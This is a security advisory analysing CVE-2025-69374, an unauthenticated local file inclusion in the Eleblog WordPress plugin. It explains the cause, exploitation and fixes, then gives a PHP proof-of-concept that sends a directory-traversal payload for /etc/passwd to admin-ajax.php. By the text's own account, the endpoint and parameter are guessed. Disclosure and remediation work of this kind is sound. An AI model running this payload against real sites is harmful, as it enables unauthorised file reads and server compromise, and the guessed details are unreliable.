Atomic Edge analysis of CVE-2025-69374 (metadata-based):
The Eleblog plugin for WordPress, versions up to and including 2.0.3, contains an unauthenticated local file inclusion (LFI) vulnerability. This flaw resides in a plugin component that accepts user input to specify a file for inclusion. The vulnerability has a high CVSS score of 8.1, indicating a severe risk of remote code execution.
Atomic Edge research identifies the root cause as improper validation of user-supplied input used in PHP file inclusion functions like `include()` or `require()`. The CWE-98 classification confirms the plugin does not properly sanitize or validate a filename parameter before passing it to a file inclusion statement. This inference is based on the CWE and the vulnerability description. Without a code diff, the exact vulnerable file and parameter name are not confirmed.
Exploitation likely involves sending an HTTP request to a specific WordPress endpoint, such as an AJAX handler or a direct plugin file. An attacker can manipulate a parameter, for example `file` or `template`, to traverse directories and include local files like `/etc/passwd` or existing PHP session files. If an attacker can upload a file with a benign extension (e.g., `.png`) containing PHP code, they can include it to achieve code execution. The attack is unauthenticated and requires no user interaction.
Remediation requires implementing strict validation and sanitization on any user input used for file operations. The fix should validate the input against an allowlist of permitted files or sanitize the input to prevent directory traversal sequences (`../`). The plugin must also ensure any included files are within an intended, secure directory path. Proper capability checks should also be added to restrict access to authenticated users.
The impact of successful exploitation is severe. Attackers can read sensitive server files, leading to information disclosure. They can also achieve remote code execution by including uploaded files or existing writable files containing PHP code. This grants full control over the WordPress site, enabling data theft, site defacement, and server compromise.
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// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69374 - Eleblog – Elementor Blog And Magazine Addons <= 2.0.3 - Unauthenticated Local File Inclusion
<?php
/**
* This PoC is based on metadata analysis. The exact endpoint and parameter are inferred.
* Common patterns for WordPress plugin LFI involve AJAX actions or direct file access.
* Assumption: The vulnerability is triggered via an AJAX action named 'eleblog_*' or via a direct PHP file in the plugin.
*/
$target_url = 'http://target-site.com';
// Common WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Try a common inferred AJAX action based on plugin slug 'ele-blog'
$inferred_action = 'eleblog_load_template';
// Payload: Attempt to include the /etc/passwd file (Unix) or a Windows file
$lfi_payload = '../../../../../../../../etc/passwd';
// Initialize cURL session
$ch = curl_init();
// Set POST data for AJAX request
$post_data = array(
'action' => $inferred_action,
'file' => $lfi_payload // Common parameter name for LFI
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check response for signs of successful LFI
if ($http_code == 200) {
if (strpos($response, 'root:') !== false || strpos($response, 'daemon:') !== false) {
echo "[+] Potential LFI successful. Response snippet:n";
echo substr($response, 0, 500) . "n";
} else {
echo "[-] Request completed but no clear indicator of success. Try other parameters or paths.n";
echo "Response length: " . strlen($response) . "n";
}
} else {
echo "[-] Request failed with HTTP code: " . $http_code . "n";
echo " The inferred endpoint or parameter may be incorrect.n";
echo " Alternative: Try direct file access at /wp-content/plugins/ele-blog/...n";
}
?>
